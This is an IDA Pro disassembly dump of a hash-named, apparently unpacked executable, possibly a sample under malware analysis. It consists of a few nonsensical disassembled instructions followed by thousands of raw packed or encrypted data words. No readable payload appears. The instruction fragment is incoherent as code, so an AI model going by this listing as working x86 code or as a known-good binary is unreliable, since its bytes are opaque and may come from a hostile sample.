;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	7E9625B3F384EF6CD727E0B8BA00D024

; File Name   :	u:\work\7e9625b3f384ef6cd727e0b8ba00d024_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00016000 (  90112.)
; Section size in file		: 00016000 (  90112.)
; Offset to raw	data for section: 00001000
; Flags	E00000A0: Text Bss Executable Readable Writable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 401000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
		dd 5800h dup(0)
UPX0		ends

; Section 2. (virtual address 00017000)
; Virtual size			: 0000B000 (  45056.)
; Section size in file		: 0000B000 (  45056.)
; Offset to raw	data for section: 00017000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX1		segment	para public 'CODE' use32
		assume cs:UPX1
		;org 417000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD	"+" TO EXPAND]
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 268h
		and	dword ptr [ebp-8], 3
		cld
		add	bl, ch
		pop	es
		mov	eax, [ebp-4]
		inc	eax
		mov	[esi-13h], esi
		fucomi	st, st(7)
		push	es
		cmp	dword ptr ds:1B418000h[eax*4], 0Fh
		test	[esi], dl
		add	ds:4F34FF10h, eax
		idiv	bh
		inc	edi
		lea	eax, [ebp-260h]
		push	eax
		call	near ptr 369C7144h
		pop	ecx
		pop	ecx
		or	eax, 0FEF7F500h
		retn
; ---------------------------------------------------------------------------
		dw 766Eh
		dd 6AFEF00Ch, 0FF256A03h, 15FF0875h, 0F7B57008h, 8335DE66h
		dd 0D60E0A5h, 6308858Bh, 8F75CD90h, 0E485C706h,	95F0405h
		dd 6D9DB2DCh, 4B508D64h, 0BDEC52F4h, 162E93B1h,	0B557E8E4h
		dd 6CCD9B3Eh, 606F05AFh, 839C5000h, 0DAFEDBBDh,	7400057Fh
		dd 0A53EB02h, 45750139h, 6C280C83h, 535ECDFFh, 0C66AAB52h
		dd 310CC483h, 8D92CE98h, 591E988Ch, 6DAD0453h, 0C0856E1Ah
		dd 0F8F81075h, 0B06534E9h, 1B61CCFBh, 1C0F1028h, 6C6CC3C9h
		dd 0C458DDBh, 38068B9h,	3CA8F100h, 0EED8CCEBh, 3E022405h
		dd 6808AC11h, 82867C26h, 84E880BBh, 11663A45h, 3FB7B402h
		dd 4D8B72F2h, 89C803FCh, 0FC7D8304h, 0D916C85Bh, 5200402Dh
		dd 0F8BA0104h, 733242DAh, 3C830E52h, 3BEF7E47h,	759D6C4h
		dd 0F4D60E48h, 763DBEFEh, 8A2387Bh, 0BE0F1103h,	5CF81540h
		dd 62C82475h, 2C53C59Fh, 4805848Dh, 6C16795Eh, 0B23EEB61h
		dd 0FDD3B012h, 0D873C8B0h, 0FDC00212h, 72FD8318h, 575603E8h
		dd 0AC02AC68h, 0FFB82154h, 4D4E7739h, 59480A11h, 5885B60Fh
		dd 0D9EC7E18h, 2374182Eh, 298B5D22h, 446830FFh,	0C1CB7681h
		dd 845D583Eh, 7103BC5h,	7C2B3D50h, 4CA31646h, 8013754Ch
		dd 0F0DDAD2Fh, 5F8719DDh, 5DC03359h, 7268A007h,	0D9F38DA2h
		dd 59425F7Eh, 44A5482Ch, 0E4DF6370h, 6505090h, 0F08B4F8Bh
		dd 8DBFF0D7h, 0F083B0Bh, 0A040A8Dh, 0F6690DB5h,	0F0B37814h
		dd 781F16ECh, 39E8B104h, 45753704h, 0B58446Eh, 348931BDh
		dd 5B33DDFCh, 508C1AB3h, 3C5D9006h, 23FD82C0h, 4498D23h
		dd 0C01448Dh, 0C3B02F50h, 5F9AEC28h, 0E10D2870h, 2DA10730h
		dd 57015A25h, 46D8F71Eh, 1BFBA318h, 11C083C0h, 3CD6945Fh
		dd 64E73C00h, 0E142760Bh, 0BDF03840h, 8B81604Ch, 26852B08h
		dd 5B9FB23Dh, 0C761FFAh, 0B8D185Fh, 4C3125EBh, 8986C6F7h
		dd 0B058B2Ah, 4F387630h, 30387496h, 0DB4365FCh,	411E77Bh
		dd 0C3B12B03h, 9DEBAB98h, 5FC2C23h, 72704B4Eh, 0BDEF74C1h
		dd 0B13E0C51h, 239DFC28h, 0FC243907h, 0FC24FC24h, 0ED9AC784h
		dd 39599929h, 24870F11h, 676E3FA9h, 1103865Fh, 8DBE49BEh
		dd 21C13B51h, 74D817DDh, 0C183193Eh, 0B211C20h,	0E90CC966h
		dd 2028C771h, 3398C9BDh, 6208860h, 0EF4AF0D6h, 3132330Ch
		dd 0B04B17CFh, 2306D78Fh, 289B91C3h, 0B0AFD8F3h, 8D031E1Ch
		dd 0FD489542h, 0EEB00367h, 588A0A0Ch, 0C32DB527h, 2A6012F5h
		dd 0EE23F8C3h, 5F76164h, 9304041Ch, 0CED82872h,	4B26F497h
		dd 8A064407h, 0B37EE70h, 0A8BC68A7h, 0F5458A9Ch, 321C8588h
		dd 0F1846320h, 0F56580h, 4A76F1A8h, 68D4D23Ah, 8A14CC1Ch
		dd 0E9860D56h, 0EB5F8836h, 0A01B402Eh, 244BA956h, 0D3013A3Fh
		dd 0AB6C3821h, 0CA908374h, 23A43711h, 7E13DF0Bh, 91049607h
		dd 7E304085h, 40231853h, 3B1A959Bh, 13D90A54h, 2375E536h
		dd 664FC103h, 5855B27Ch, 6A534C5Eh, 4052E659h, 52B8B238h
		dd 7923942Dh, 1D44C8D8h, 7E80F8F7h, 4902D82Dh, 2C4E1C21h
		dd 0BDDCC68h, 1022CA6Bh, 0D90FEBD3h, 1FED0306h,	0C80CFB9Eh
		dd 0C95E5FDCh, 3865FCC2h, 5160D858h, 50C1651h, 1C0ECE0Dh
		dd 52F709ACh, 74775008h, 2043831h, 77E23C45h, 4DFB241Dh
		dd 104D8AB1h, 30044888h, 0C627895Eh, 541C0A0h, 0E20C5230h
		dd 0C08C9BB7h, 54A509C0h, 1C090511h, 3FBB760Dh,	59634F9Ah
		dd 0F31045F6h, 61E5C709h, 9C8616BAh, 94081CD2h,	3FBAE817h
		dd 68F87550h, 0C6A0A74h, 4012BDFCh, 7036D831h, 47A0F17Fh
		dd 784D1118h, 3D83F74Bh, 7427DEF4h, 0C8620835h,	14B21C80h
		dd 0C9ECE8E8h, 0EC720321h, 7038F0F0h, 6A5D3067h, 72D3EB00h
		dd 0F16EE0D6h, 3AA8980h, 7B8D0D0Eh, 743E1360h, 9D326A4Eh
		dd 0E5147423h, 0FDCD7792h, 0FC052B60h, 72379A4Dh, 3B24EB02h
		dd 21D91E71h, 150500FAh, 1BDB5C25h, 0C2D14A3h, 8C62402Fh
		dd 740AEC3Fh, 750D0A0Bh, 0EBA46815h, 85C2C800h,	355A8D43h
		dd 26117EBh, 0BC484CE2h, 0C400B417h, 0E70E249h,	7303CFAh
		dd 0D8907201h, 3A03A7E7h, 8A1FF8ECh, 2D87B1BDh,	0F40E8CB9h
		dd 3DD6BCFCh, 680D9930h, 26C81446h, 6C785B26h, 0C6F8EC28h
		dd 0D4EB66Ah, 0CE8D831h, 3BE7F0E2h, 0EC724C0Dh,	0ED93E84Eh
		dd 98066C9Ch, 1704E9Ch,	18BB600Bh, 53520848h, 0C805A338h
		dd 0F8D89493h, 13891B22h, 74DDB69Ch, 3B41B54Eh,	0CD9BA4Ah
		dd 7B10F040h, 0E10E6DF9h, 6A662CDCh, 0FCA01244h, 16CD233h
		dd 0CC44A0F3h, 0BA59EF5Dh, 8BD066F4h, 19D831ABh, 0FC9DED90h
		dd 0E0DC0BF7h, 982C17BAh, 1B25561h, 84DF2501h, 0DF00BAC7h
		dd 7CEE8441h, 0ADC8708h, 8BF8D869h, 0B679175Ch,	0A17A3D3h
		dd 5369E894h, 0A3D3B649h, 94E02C03h, 8964DE04h,	956F8E7h
		dd 6FB04621h, 171E5405h, 0F4B70C6Dh, 0FDFCF206h, 1D50CF12h
		dd 0B0D21D83h, 0AD808C1Bh, 719E3568h, 0F0BCC88Ch, 0AB08A4FAh
		dd 0F85BA292h, 5241589Ah, 36FD031h, 0F7BE4647h,	0EC3E09F9h
		dd 4E247484h, 81D876C8h, 4A7420BDh, 0C43BC5A8h,	6A41D26Eh
		dd 0B0C8D0Ah, 722F6A9h,	0F8D4E0B9h, 0C06F8D4h, 76ECC1EFh
		dd 2173AB3Bh, 0E9AFE60Ah, 6B4D0CF1h, 0ABE4C175h, 591B0D8Eh
		dd 0F8ACC7AAh, 846410Ch, 9535ABEFh, 2107E4FCh, 0A41675C1h
		dd 1206A7E4h, 88936D82h, 0A181A56h, 96840102h, 0C28ED0B2h
		dd 9B1A4181h, 0B36B733Ch, 626E72C3h, 5E68B314h,	8186E91Ah
		dd 1ECD304h, 251EC58h, 73CE4E07h, 0C3D02698h, 38CD7749h
		dd 345B320Eh, 0CA822C68h, 0E1DCBC09h, 1A3671D0h, 0AF02DE1Bh
		dd 0C7A4C18h, 4BCCC6Ah,	6A045D66h, 0C90204CCh, 6897BE07h
		dd 0AE015718h, 0B8181981h, 461037BBh, 14682B4Eh, 1E7E291Eh
		dd 2D6C3683h, 350D0064h, 0A4F4680Fh, 0DC196539h, 0D60604B6h
		dd 3C806D9Dh, 4517FA20h, 59835CC1h, 1162A6FEh, 7DAA5CF9h
		dd 0DE4A841Eh, 0FA1CFA1Ch, 7213F09h, 0BA10FA20h, 0D5271068h
		dd 0E11C9EE8h, 49A1FC49h, 0BCE640FBh, 7BE57B89h, 3E141CC4h
		dd 765A471Fh, 7EF600B6h, 247A4A59h, 0EAFC4F81h,	7AB28B0Dh
		dd 53928280h, 92C19B67h, 189B0BFCh, 8F724C0Eh, 48811AA5h
		dd 91CF9DC2h, 48F8DC8Fh, 1BFA1072h, 5E3ACDDh, 2B088198h
		dd 6C7C5876h, 8B91B1B1h, 0B892203h, 0D16BFC3Ah,	0C4C8C8Ch
		dd 0BD07EE6Ah, 55166FC3h, 43BB43B2h, 0A0C06CCh,	0B63A2ECFh
		dd 0B66B7862h, 65F8E65Ch, 19CA1673h, 277612E1h,	0F04B810h
		dd 67720D26h, 0AF7C884Fh, 39D60B14h, 2E4860E8h,	0E46763C0h
		dd 0B9991E8Bh, 0F9F70D00h, 0D9AC7B0Eh, 5DB0813h, 38049DD9h
		dd 0B22FEE2Bh, 5001C45h, 0C57035D8h, 0DE2DEC27h, 9D22BDD8h
		dd 27241CDDh, 6210F9FCh, 0F9FC3E43h, 30858321h,	3468BC25h
		dd 57C4207Bh, 11843848h, 640CD089h, 0D65263B3h,	0A1C8988h
		dd 782402CCh, 0F71C1C81h, 1F31F741h, 8BC8BEFh, 0E4807F6h
		dd 0D82C0846h, 17F69ECDh, 0F610A32Ah, 9AF782E7h, 2C33EB9Dh
		dd 3D951E9Ch, 1E496BC1h, 30424412h, 0BA015D8Fh,	1874A0A1h
		dd 0CD380010h, 18B1DFC6h, 0E8F04522h, 15021BFh,	0C8BD6A40h
		dd 6A02C7E7h, 0EC04015Ah, 8A6C28F9h, 6827E05Ch,	1C16DF58h
		dd 0E050B9F7h, 57EB1484h, 0D5F5FC42h, 88F5EE76h, 1F40FA13h
		dd 0A777F1F3h, 0F9F9ECDFh, 2201765Fh, 6BB83670h, 0B191601Ch
		dd 5404E504h, 7C81E968h, 41A05A6Ah, 61F714F7h, 0F20BDDD8h
		dd 343DF714h, 9559B73Ch
		dd 6E6BDF7h, 3E2B16CEh,	0DCF68492h, 840D32C7h, 23F08EF8h
		dd 16F097D4h, 64683EF9h, 3C8BD883h, 0F72022F9h,	0CE391CC4h
		dd 2CC34D49h, 5044402Eh, 642E8E49h, 0A7483CB2h,	987BF490h
		dd 0EA6068E3h, 0EB38B819h, 0B2F9E8D4h, 0B2F9EE6Fh, 809F9E8h
		dd 75021317h, 25EC962Bh, 0E97AC7B2h, 0F9F2B363h, 748BB8F5h
		dd 4583204Bh, 733067F8h, 5F270C57h, 58EB01A7h, 8CF02C87h
		dd 46F5F4CAh, 0F20E49B6h, 0F5F4F5F4h, 60F4FF6Ah, 3177AFC9h
		dd 0D9F9E826h, 9F6B0B02h, 82AD8C27h, 0F65ACF84h, 0E9B3101Dh
		dd 0F71C3453h, 2039B583h, 6B13E714h, 0F9030C22h, 0CF6903Ch
		dd 0BDF5F8F6h, 0F0CF9F24h, 0ECF5F0F5h, 64E42AF5h, 0E81CB3BDh
		dd 0F5EC2205h, 2D9CEF58h, 2205E427h, 5B099298h,	320B0CDh
		dd 14B5E10h, 0F123B316h, 4EBFD60h, 0C8EBCAEBh, 0CEC8330h
		dd 9625123Ch, 10056CAEh, 8A06140Bh, 93DB13CDh, 0F9071618h
		dd 0F8986D18h, 2C76E0CCh, 7D8121F8h, 341F8A7Eh,	1C390E59h
		dd 9C49F4F4h, 40E3D608h, 0CAF141Fh, 180B3C02h, 476216Ah
		dd 86293B19h, 251610E0h, 2E4627B9h, 29C51400h, 0B98C960Ah
		dd 66A1893h, 4502159Eh,	54FFE2B6h, 89F44D8Bh, 32022F88h
		dd 1CC01FA3h, 4E3324F2h, 846810B6h, 7CC8390Bh, 511E3883h
		dd 1C07117h, 53410667h,	6536106Ch, 8AC56178h, 725724Eh
		dd 0C2A00129h, 40B98420h, 420D548h, 9B66125Eh, 0F5142EFDh
		dd 23B8FBECh, 0EC93BF3Dh, 1A9107FBh, 1D1201Eh, 0FC1930D7h
		dd 332C4F52h, 0FB07F20Dh, 250E86AAh, 0FF0D669Bh, 0EC4A0D50h
		dd 9B23D8FBh, 1E3B6CBDh, 0ED763F44h, 0E0C8CEBDh, 720835E0h
		dd 0B2C6B075h, 8B8D4413h, 0FB19EC68h, 7107ECBAh, 3DF073A4h
		dd 136615F0h, 218B34D8h, 0C01B1955h, 0D8682A9Eh, 0F481F443h
		dd 1D8D8D80h, 3B0E8B0Eh, 3E51762Dh, 0BB62DBDBh,	0E44429E4h
		dd 0F736C068h, 2550E6BDh, 0F19E4F33h, 0D614F8D2h, 1F8466Ch
		dd 0B39DE475h, 0FD85B6CFh, 212C7224h, 0AC107202h, 0FD4CC0BCh
		dd 3D00B70Fh, 31FF5A4Dh, 0E93D0020h, 202B1377h,	89348D8Bh
		dd 0B5573708h, 1CC09462h, 451F3053h, 5C906046h,	3CFBA584h
		dd 93852D7Bh, 8D8A1B12h, 0DBF4758Dh, 0C12B293Eh, 0C807E06Ch
		dd 5BB5EA51h, 18E84360h, 59152632h, 0E46FC8B6h,	0B289C107h
		dd 0F5962928h, 16286046h, 195B5F20h, 7ECB5333h,	0E530B0CDh
		dd 2804D846h, 6119FA56h, 10282632h, 73E4DFE0h, 1CEC235Dh
		dd 1B5ADC35h, 0DA32D90Bh, 0B5C6197Bh, 0F8349C2Fh, 0B362CC21h
		dd 0E7E64CE2h, 0D90229F4h, 1922E01Dh, 6CB53C0Ch, 5D628B8Bh
		dd 208F906h, 57BD4879h,	0C4FAAF68h, 2392C6F9h, 14F9C8F4h
		dd 791F824h, 78E505B9h,	0FD7480FDh, 776EF934h, 4DA02C13h
		dd 157C8588h, 24D21F6Ah, 8DEEFB07h, 0F30A7DBDh,	0AAAB66ABh
		dd 0DCF9441Ah, 45E416CEh, 69383CF9h, 9F3EFACCh,	8F8B9778h
		dd 0D085CC8Bh, 605BD9FBh, 0C49B6A40h, 47BA9A15h, 7C28A1E2h
		dd 85850F42h, 38046A8Bh, 0CF49CB8Bh, 66C26061h,	666D826Fh
		dd 0F88B6409h, 22257520h, 0CB929ECDh, 0EB108C65h, 62DC4023h
		dd 5C249725h, 0D1F9C453h, 2284EFB2h, 9B520457h,	8E4F239Dh
		dd 40F940A7h, 0D1F940F9h, 5E970CCh, 401B847Bh, 0EDA0C619h
		dd 0F9C894F9h, 0C4FFCA3Ah, 9DECEFF8h, 2F06F84Bh, 0B2B70B03h
		dd 8E3564A6h, 0B34D1719h, 2FF67E13h, 803D5775h,	6A2B05A4h
		dd 0D9B39D2Ch, 3200F749h, 33375926h, 0DC3E308Dh, 50B09086h
		dd 3891F913h, 0EC0BECF9h, 6F4DE69Bh, 183B7C30h,	0BE40D2Bh
		dd 0BD227F39h, 0FBC63B05h, 881D8AECh, 0B09B0D84h, 7044822h
		dd 1BB3C348h, 54ECA4E1h, 0C8EC6C75h, 385340ADh,	205068F9h
		dd 6C2EA72Ch, 0CFB6B1D2h, 0A8D634BCh, 391E4BC4h, 596783h
		dd 6604C972h, 4754D644h, 0E902CEC8h, 83923138h,	0FD7C392Dh
		dd 99F94412h, 7FD9B640h, 3E3D30D9h, 2C2E420Eh, 402F2803h
		dd 0AE3264A6h, 0E4A0C00h, 0AAA91184h, 0B2474F00h, 168E40E5h
		dd 0C068C85Fh, 0FCD81833h, 1CF4D784h, 0E36780F8h, 0F81C45F9h
		dd 201C8F25h, 11678740h, 50400D6Ch, 0F6184924h,	461B6996h
		dd 32612B52h, 0C99C1A66h, 0FB00600Ch, 4E1E4218h, 7884F868h
		dd 0BE709790h, 0CC297868h, 0B17C2084h, 0A53D8B03h, 2C0ADDFCh
		dd 0C9152F7Bh, 9E6C4EA8h, 821DCB05h, 0F93CF928h, 0AD18EF0Eh
		dd 5375847Dh, 0AE7D4961h, 32DAB0Dh, 0CB50233Ch,	0C064B10Eh
		dd 6D58FF68h, 0F0B2179h, 24941644h, 7C8057D9h, 25B7491h
		dd 1E48851Ah, 75032092h, 0C860C445h, 1C274DF2h,	5754223Ah
		dd 1593C6Eh, 0B7976A4Bh, 272B63A1h, 8FC00914h, 66162DEBh
		dd 5A49334Fh, 0B0AB410h, 0E40B3BDh, 3210FA4Eh, 5CBD8F1Bh
		dd 0C1875140h, 86E0AE8h, 3EC6F10Bh, 0AD2A0CA5h,	79F8030Ch
		dd 9021876Eh, 0F7FC23h,	37884393h, 3BF80A0Ch, 27064792h
		dd 0A61C846Ch, 0A4EC113Bh, 0FE2D0F59h, 9D970DC0h, 0B757FA4h
		dd 5D3969E2h, 208D832Ch, 45AE6A4Bh, 31560696h, 760F182Eh
		dd 2005FD97h, 53E1276h,	9B446176h, 6179027h, 248444C0h
		dd 792854F8h, 10841420h, 0B67EC3E0h, 2004D91Ch,	7A6C5FAFh
		dd 14E2B0F1h, 342523E5h, 0B26D90FEh, 0EC18EC51h, 7A6A086Ah
		dd 884F136Ah, 20045AADh, 45ADFDF4h, 807A5DCCh, 0E6F00564h
		dd 157A8620h, 7AB1B9B5h, 10069B98h, 0A405103Fh,	0FC75662Bh
		dd 7DC810ECh, 5EC8C59h,	0B0150A08h, 0EC9E4B64h,	43230C05h
		dd 56D59F92h, 0EC928580h, 0C72A3268h, 50955C85h, 420C681Bh
		dd 3A8F5770h, 0F0A48C19h, 75DF083Dh, 2653CAA9h,	87D82187h
		dd 1F686047h, 8C048B7Ch, 0B7B2F62Fh, 5BD816Fh, 77C01C25h
		dd 7C740B32h, 0F273D917h, 74800372h, 0B400555h,	0CFD9CDB3h
		dd 6FEB461Dh, 63728D0Dh, 273D9C25h, 5076939Bh, 0FD0B2994h
		dd 0FDD36E9Eh, 833DEB2Fh, 834EBBCh, 9E692BA4h, 228469E6h
		dd 0D401964h, 10E69EE9h, 14B90724h, 1CB5365Ch, 0EC3B67FEh
		dd 0D58708FEh, 0B9BF57Bh, 94186FCh, 2B11AFF8h, 61B29FFh
		dd 0B0FF0440h, 832032C0h, 0B80B8E1Dh, 203203C4h, 0A09CB403h
		dd 20320320h, 234AACA8h, 0B0A43203h, 0B87105FCh, 0CF401FCh
		dd 88864C68h, 0AAF695DBh, 48F30F7Dh, 7EEA831Ch,	109E4ACEh
		dd 0F4C46B1Ch, 5122F4FEh, 80391E53h, 0A1BEC71Fh, 77F75291h
		dd 863C680Dh, 0BEC7C65Eh, 2606F605h, 0C28680Bh,	7C275C31h
		dd 754FE638h, 75DA3881h, 0D18B141Eh, 809FB7CFh,	0C4D8B40h
		dd 81890449h, 0FBFFC883h, 1964A582h, 4E8E4827h,	6C9FD52Eh
		dd 8AF106Eh, 1574021Eh,	7A6D3F68h, 5866CDCBh, 0AB87234h
		dd 4BB22830h, 268E419Eh, 3C080108h, 90DAA546h, 0DDAB533Ch
		dd 0CF4874B2h, 0CC7730EAh, 6D8BCC43h, 7210D2B3h, 2A58072Ch
		dd 0D421AA20h, 38CCF747h, 6D421ED4h, 48D04560h,	420CC766h
		dd 38A0BE18h, 1731420h,	36CD6DB9h, 66384250h, 0CCE6D254h
		dd 0EC666DC7h, 0BC7C945h, 3B9B08F6h, 0C818B1F4h, 213BC85Ah
		dd 59F2C8FEh, 4889EC06h, 0C40C2008h, 3B3406C4h,	0CC41CB6h
		dd 1210104Bh, 0B6FF6DECh, 0CC152096h, 83184189h, 10ACD465h
		dd 0F7C41593h, 4EFDC17Ch, 58082114h, 6EEE6BA6h,	3CD99DC8h
		dd 10F10762h, 0FBB80A7Eh, 0E0650F2Ah, 99B2CCE4h, 1C40E0EDh
		dd 0EC1187E0h, 0D6E20EB6h, 883C0E40h, 0E033E238h, 425DE10Eh
		dd 30C06B2Dh, 87E43E50h, 0E4592B61h, 3924325h, 0F0E490B9h
		dd 0D919AEF0h, 0E89DF206h
		dd 1906E8E8h, 3BB754C1h, 60830F53h, 91B90A31h, 0C0D4DD0Fh
		dd 0E804C030h, 5AC9E173h, 8BE4BABFh, 9C89C055h,	144C70Eh
		dd 6FC85F89h, 0BC37BC00h, 5489BC01h, 8486FC85h,	27B89001h
		dd 613606B8h, 0CB8CD60h, 2F109E60h, 8D1CA19Bh, 55C90CA5h
		dd 0BBE189E4h, 0A44E10Dh, 4C65518h, 0B9F4B488h,	0C2B09092h
		dd 0D7C03009h, 7FD96C9Dh, 31B19E8h, 0B480AC8h, 0BB047611h
		dd 0CB024C4Bh, 8EE49227h, 0E49C1B44h, 34F71059h, 29F4BF04h
		dd 0BD75E2CEh, 200A0974h, 0C085E024h, 349727A6h, 0B52B2626h
		dd 88847487h, 0F374010h, 2DAF0BFh, 2B5DD8C9h, 0CCF10655h
		dd 2C97D02Ch, 0CF1070FFh, 1CD43C13h, 0CC40CCB2h, 0C4178108h
		dd 42FC24Ch, 9D19619h, 6F7D155Eh, 0EE277D8Ch, 2E08393h
		dd 0EB0287Fh, 0D660F604h, 46D78D5h, 0B65D775Ch,	20CE2303h
		dd 24140B24h, 666F52C9h, 306D19BCh, 0C6ED92DEh,	76141840h
		dd 170A47B9h, 89CB61B2h, 43818B2Dh, 2A64656Eh, 90DE01B6h
		dd 0F42B3500h, 1B7881C0h, 640E2E7Fh, 7FFB2807h,	0EBA07575h
		dd 3B661028h, 0F045B284h, 5B16D5C1h, 4E7F4C18h,	419F0A3Ah
		dd 0B20B38DAh, 58027C66h, 0EA10D9B2h, 13C0B70Fh, 60A05E23h
		dd 271CE421h, 0CD5F08D0h, 376D1A09h, 99839110h,	0E8257CF8h
		dd 0B70F6712h, 8714962Eh, 0D64C1B28h, 3C2C85Bh,	0F81558DDh
		dd 8F61B270h, 32EB1264h, 0C9C96E25h, 1190D236h,	6710FC85h
		dd 67A1C7E9h, 28E2A46h,	30843A1Ch, 7208F61Bh, 0FC01D25Dh
		dd 68187210h, 548289A0h, 0A0C1EFDBh, 786813A4h,	16F47513h
		dd 2ED80858h, 0B410A336h, 58266868h, 2B1C3407h,	588BAB53h
		dd 33D84C2Ah, 4C18ECC8h, 3C841C12h, 2040F213h, 2133C834h
		dd 282424CFh, 0F2133E14h, 30002C4Ch, 909B88ECh,	0D03440E7h
		dd 247BC238h, 88C8F25Ah, 0B4684CAEh, 67B0926h, 0A03CF819h
		dd 42679012h, 4488409Eh, 0E4061670h, 645F489Bh,	848818FCh
		dd 0FC790645h, 33231254h, 3C58CF21h, 5B23245Ch,	732B5E8Bh
		dd 0FA095808h, 5C2CE2DDh, 1A05C71Fh, 679B3588h,	96D35B3h
		dd 5C38BA58h, 72CF3BBDh, 30682F09h, 0F0F0C988h,	20CF6018h
		dd 50F07263h, 9E41260Ch, 0E8E832CFh, 27E887ECh,	4C9858F5h
		dd 1228B86Ah, 0C802BC84h, 0AD68E293h, 0EE50C301h, 0ABB248A9h
		dd 8DEE5442h, 6793780Ch, 0EA36EEEEh, 0BD837ABFh, 8B2FDD2Fh
		dd 89C43850h, 3E40444Ch, 0CC41EE5Ah, 8FA9725Dh,	0C48EE4Ch
		dd 0A0E7AB33h, 11897BD7h, 9D16C61Ch, 0DC32F3Dh,	27C37CFFh
		dd 0C04F3BC5h, 16F08510h, 7507E67Bh, 0D8CBD8B1h, 92FC05EDh
		dd 1B6CE15Eh, 2C70FF08h, 0BD9710F2h, 7610F140h,	5E893711h
		dd 4FDFDA0Ch, 0BE0F712Eh, 0A7EF9805h, 2CBB0839h, 0EDF50A58h
		dd 83423015h, 0C09EC16Ch, 5624CE16h, 0AF66C442h, 3815528Bh
		dd 0ECB573B7h, 77F5B00Dh, 821D3BB6h, 73142581h,	91B0146Bh
		dd 0E9DFAD27h, 29999484h, 314CBFBBh, 0F7951E10h, 56293893h
		dd 75BA3A16h, 9BB47A84h, 8A180CE3h, 16E4037Fh, 6AE08C2h
		dd 0AC601154h, 3C0AC020h, 682E147Eh, 8BD28C64h,	0A7A44906h
		dd 0F86717CEh, 0C9D8F89Bh, 0F86A3B21h, 143DF36Fh, 82B9BDFAh
		dd 76019ADEh, 0B74520h,	905D433h, 3400D00h, 41B6376Fh
		dd 48480CBBh, 0C0DA1807h, 0BB0C250Eh, 0FCB6C80Fh, 0D10E8C1h
		dd 58F3E181h, 0D0285732h, 122113C0h, 0F77B3733h, 0DF4A6AD0h
		dd 0DD96ECF3h, 3054EDDh, 4EB2674h, 246C6474h, 3E024D00h
		dd 4EFE68D8h, 0D95F4701h, 842B99Dh, 8008820Bh, 0E0C11EE4h
		dd 37580308h, 7F252160h, 0C81023FFh, 0FF217601h, 6A0B1847h
		dd 0CAAA0B10h, 2592B16h, 1D72C9Ah, 0B1E1920Ch, 6804235Dh
		dd 0ECA9BC48h, 52344D74h, 53B705FEh, 205F401Ah,	6A38817Fh
		dd 1D346808h, 4498036Ah, 3068C817h, 58F9F702h, 2144E446h
		dd 68A10629h, 5F31A82Eh, 1020F0Dh, 222F5D78h, 1CAC3A3Eh
		dd 7295B7Fh, 0C0EB044Ch, 0D7B3F095h, 8D18F68Fh,	8F314A24h
		dd 0D9FA0B68h, 0E76558ACh, 0B868557Dh, 6A5CEA0Bh, 631F9A27h
		dd 8186F018h, 0D705B306h, 1CD1F402h, 45E060C5h,	23E8E511h
		dd 0E8E880F2h, 0A9E047DEh, 26046189h, 3DAD33F4h, 0F3998817h
		dd 0E3648181h, 0E091DC20h, 5D752AF6h, 99D6E368h, 0DE138F59h
		dd 0DF70565h, 220319A1h, 0FE113D5Bh, 6B185E17h,	41DAE93h
		dd 0DAFC5972h, 4BB10610h, 0E1950FF6h, 42A3316h,	76C80C96h
		dd 0ECECEE79h, 245EC3B9h, 2ED23A0h, 3B3781Eh, 8A5CEDB9h
		dd 7CEDBFF8h, 587CC2A6h, 629A830Fh, 0D8BE7BC6h,	0EDF6572Bh
		dd 0EDF80093h, 0EC1EE6Dh, 68208DFCh, 0E45A511Ch, 61B34530h
		dd 0BDB80AD9h, 5896F448h, 150F7607h, 96C2E9DFh,	0D6E06D76h
		dd 76A7E06Dh, 51E03485h, 7F80B1CCh, 940FEE11h, 7E8723C0h
		dd 96800466h, 997959B1h, 7F172314h, 8C9A940h, 0E1004049h
		dd 0E8BE9903h, 397CCB84h, 14DB19D1h, 804409BCh,	49403150h
		dd 83A183C1h, 4A293917h, 8AB302BDh, 122A06DCh, 29E0A431h
		dd 0E4A08846h, 105A5B2Ah, 0EC64990Ah, 7878B588h, 6EB14EA6h
		dd 7A89152Eh, 85817EF4h, 0BB0A7A30h, 954D575Fh,	0D10C101Ch
		dd 0CCF622F5h, 0A355F8F8h, 7645E00Ch, 1B818534h, 1040098Dh
		dd 0D246026h, 60106C38h, 1808103Ah, 43D593D1h, 68217530h
		dd 36157502h, 0E69320FBh, 0EB01B00Ch, 0D9A9201Fh, 1CD9E15Eh
		dd 7697EB66h, 65C4174h,	32A90ED4h, 0A0E33C60h, 301C03A4h
		dd 0C4DFEEC4h, 63B832E5h, 868B9C4h, 0B7D4D910h,	0D480B07Bh
		dd 8B6B382Ch, 500200Fh,	0D573609Ah, 20B8CCA0h, 0A9F0D8A8h
		dd 0EBB74348h, 0A0B5FE24h, 0DC877D40h, 73C32FE7h, 0D85DB981h
		dd 172C8105h, 3421E859h, 10741935h, 51D4D435h, 0D063364Ch
		dd 0A897099Eh, 0C612CF48h, 0D64C2Ah, 23B191ACh,	8050C70h
		dd 2FB85104h, 0E89B310Ch, 0C1D016CAh, 0BFD43D9h, 0B6A81708h
		dd 700C6213h, 511D4BC2h, 40DB41E2h, 550C82Fh, 0B2B3912Ch
		dd 445BB19h, 1B92105Dh,	1418B18Ch, 0D0E1108h, 0D351BBA6h
